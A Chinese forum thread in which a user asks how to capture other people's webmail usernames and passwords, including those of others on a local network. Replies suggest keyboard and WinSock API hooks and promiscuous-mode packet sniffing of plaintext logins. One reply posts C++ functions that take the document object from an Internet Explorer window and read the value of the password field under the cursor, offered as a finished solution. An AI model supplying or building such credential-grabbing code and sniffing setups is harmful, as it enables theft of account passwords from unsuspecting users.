关于 网页 内 E-mail 的密码。 高手PK(高手都去哪里了???) ( 积分: 300 )

  • 主题发起人 主题发起人 分飞
  • 开始时间 开始时间

分飞

Unregistered / Unconfirmed
GUEST, unregistred user!
最近发现一个软件,运行后。
可以在您用网页 登录邮箱时 监听到用户名和密码。
请问怎么做到 E-mail密码监听?
或是提供这方面的资料也行。
 
最近发现一个软件,运行后。
可以在您用网页 登录邮箱时 监听到用户名和密码。
请问怎么做到 E-mail密码监听?
或是提供这方面的资料也行。
 
键盘HOOK?
 
不是的,可能与 pop3相关
 
个人看法,抛砖引玉

1、程序里面对某些网页很熟悉,可以知道哪几个编辑控是密码和用户名,然后向IE的这个编辑框取用户名密码,就是时刻监视IE,但是应该要对用户名密码编辑框的name比较清楚,否则还需要后分析
2、用户登录的时候需要post当前页面的一些信息,拦截网络数据包,然后解包,知道里面对应的那个用户名和密码,当然也需要对这个网页本身比较熟悉,
 
发现这个软件 运行后,,,可以 监听到 局域网其它人的 email登录 用户及密码。。。
可能和 pop3 有关???? 监听 内存 某一区块儿????
 
原理应该和这个差不多:
http://www.d1d1.com/news/2004-06-26/1088232148d2313.html

接管IE的WinSock API接口,进行过滤即可。
VC的API Hook例子: http://www.lihuasoft.com/article/show.php?id=609
 
呵呵,HTTP协议,抓包分析就可以。
 
找了个代码,不过是C的,把里面两个关键的函数抽出来,谁有兴趣翻译以下,

//***********************************************
/*函数名:GetDocInterface
参数:hWnd,WebBrowser控件的窗口句柄
功能:通过WM_HTML_GETOBJECT取得控件的IHTMLDocument2接口
*/
IHTMLDocument2* GetDocInterface(HWND hWnd)
{
// 我们需要显示地装载OLEACC.DLL,这样我们才知道有没有安装MSAA
HINSTANCE hInst = ::LoadLibrary( _T("OLEACC.DLL") );
IHTMLDocument2* pDoc2=NULL;
if ( hInst != NULL ){
if ( hWnd != NULL ){
CComPtr<IHTMLDocument> spDoc=NULL;
LRESULT lRes;

UINT nMsg = ::RegisterWindowMessage( _T("WM_HTML_GETOBJECT") );
::SendMessageTimeout( hWnd, nMsg, 0L, 0L, SMTO_ABORTIFHUNG, 1000, (DWORD*)&lRes );

LPFNOBJECTFROMLRESULT pfObjectFromLresult = (LPFNOBJECTFROMLRESULT)::GetProcAddress( hInst, _T("ObjectFromLresult") );
if ( pfObjectFromLresult != NULL ){
HRESULT hr;
hr=pfObjectFromLresult(lRes,IID_IHTMLDocument,0,(void**)&spDoc);
if ( SUCCEEDED(hr) ){
CComPtr<IDispatch> spDisp;
CComQIPtr<IHTMLWindow2> spWin;
spDoc->get_Script( &spDisp );
spWin = spDisp;
spWin->get_document( &pDoc2 );
}
}
}
::FreeLibrary(hInst);
}
else{//如果没有安装MSAA
AfxMessageBox(_T("请您安装Microsoft Active Accessibility"));
}
return pDoc2;
}

/*函数名:GetDocInterfaceByMSAA
参数:hwnd,WebBrowser控件的窗口句柄
功能:取得hwnd对应的Webbrowser控件的IHTMLDocument2*接口.
*/
IHTMLDocument2* GetDocInterfaceByMSAA(HWND hwnd)
{
HRESULT hr;
HINSTANCE hInst = ::LoadLibrary( _T("OLEACC.DLL") );

IHTMLDocument2* pDoc2=NULL;
if ( hInst != NULL ){
if ( hwnd != NULL ){
//取得AccessibleObjectFromWindow函数
LPFNACCESSIBLEOBJECTFROMWINDOW pfAccessibleObjectFromWindow =
(LPFNACCESSIBLEOBJECTFROMWINDOW)::GetProcAddress(hInst,_T("AccessibleObjectFromWindow"));
if(pfAccessibleObjectFromWindow != NULL){
CComPtr<IAccessible> spAccess;
hr=pfAccessibleObjectFromWindow(hwnd,0,
IID_IAccessible,(void**) &spAccess);//取得Webbrowser控件的IAccessible接口
if ( SUCCEEDED(hr) ){
CComPtr<IServiceProvider> spServiceProv;
hr=spAccess->QueryInterface(IID_IServiceProvider,(void**)&spServiceProv);
if(hr==S_OK){
CComPtr<IHTMLWindow2> spWin;
hr=spServiceProv->QueryService(IID_IHTMLWindow2,IID_IHTMLWindow2,
(void**)&spWin);
/*
注意:并不是每次都能取得IHTMLWindow2接口,如果调用失败,可以尝试取得IHTMLElement接口:
CComPtr<IHTMLElement> spElement;
hr=spServiceProv->QueryService(IID_IHTMLElement,IID_IHTMLElement,(void**)&spElement);
*/
if(hr==S_OK)
spWin->get_document(&pDoc2);
}
}
}
}
::FreeLibrary(hInst);
}
else{
AfxMessageBox(_T("请您安装Microsoft Active Accessibility"));
}
return pDoc2;
}


CString GetPassword(IHTMLDocument2 *pDoc2,POINT pt)
{
if(pDoc2==NULL)return "";
CComPtr<IHTMLElement> pElement;
HRESULT hr=pDoc2->elementFromPoint(pt.x,pt.y,&pElement);
if(SUCCEEDED(hr)){
CComPtr<IHTMLInputTextElement> pPwdElement;
hr=pElement->QueryInterface(IID_IHTMLInputTextElement,
(void**)&pPwdElement);
if(SUCCEEDED(hr)){
CComBSTR type;
hr=pPwdElement->get_type(&type);
if(SUCCEEDED(hr)){
if(type==_T("password")){
CComBSTR pwd;
hr=pPwdElement->get_value(&pwd);
if(SUCCEEDED(hr)){
if(pwd.Length()!=0){
CComBSTR msg;
msg=pwd;
CString str(msg);
return str;
}
else{
return "";
}
}
}
}
}
}
pDoc2->Release();
return "";
}

另外我把地址完整的说明贴上来http://www.ccw.com.cn/htm/app/aprog/01_12_20_2.asp

网页中的星星是一颗特别的星,铁石心肠,然而它却是豆腐作的。你很难获得它的窗口句柄,通过Visual Studio提供的SPY++也很难获得它的窗口句柄和它收到的窗口消息。获得网页中的密码必须通过必须通过HTML中的MSHTML文档对象模型。你首先必须通过各种方法获得Internet Explorer浏览器(Mr Navigate,Sorry)窗口句柄,判断它的类名是否是"Internet Explorer_Server",然后通过下述代码获得其文档对象模型指针,即IHTMLDocument2接口。

HWND hw;
MSHTML::IHTMLDocument2Ptr doc;
MSHTML::IHTMLElementCollectionPtr col;
MSHTML::IHTMLElementPtr EL;
DWORD lRes;
HRESULT hres;

UINT MSG =

RegisterWindowMessage("WM_HTML_GETOBJECT");

SendMessageTimeout(hw, MSG, 0, 0,

SMTO_ABORTIFHUNG, 1000, &lRes);

hres=ObjectFromLresult(lRes,

__uuidof(MSHTML::IHTMLDocument2),

0,

(void**)&doc);



然后你必须获得鼠标屏幕坐标,把它转换成相对于客户区的坐标,然后根据坐标位置获得网页对对应的元素,查询IID_IHTMLInputTextElement接口指针,判断元素类型是否是一个密码编辑框,并获得对应密码。
 
网页上登陆邮箱时,用户名和密码都是以明文发送的,因此随便拿个抓包软件都可以将你要的数据抓下来,稍加分析就得到啦。
 
把网卡设置成混杂模式,然后抓包来分析就可以了,这个只对用HUB连接的网络有用,用交换机连接的网络不做特殊设置没用。
 
我上面贴的连接里面的代码。其实已经完成楼主的要求了,因为可以嵌在IE里面取密码了
 

Similar threads

D
回复
0
查看
2K
DelphiTeacher的专栏
D
D
回复
0
查看
2K
DelphiTeacher的专栏
D
D
回复
0
查看
1K
DelphiTeacher的专栏
D
D
回复
0
查看
1K
DelphiTeacher的专栏
D
后退
顶部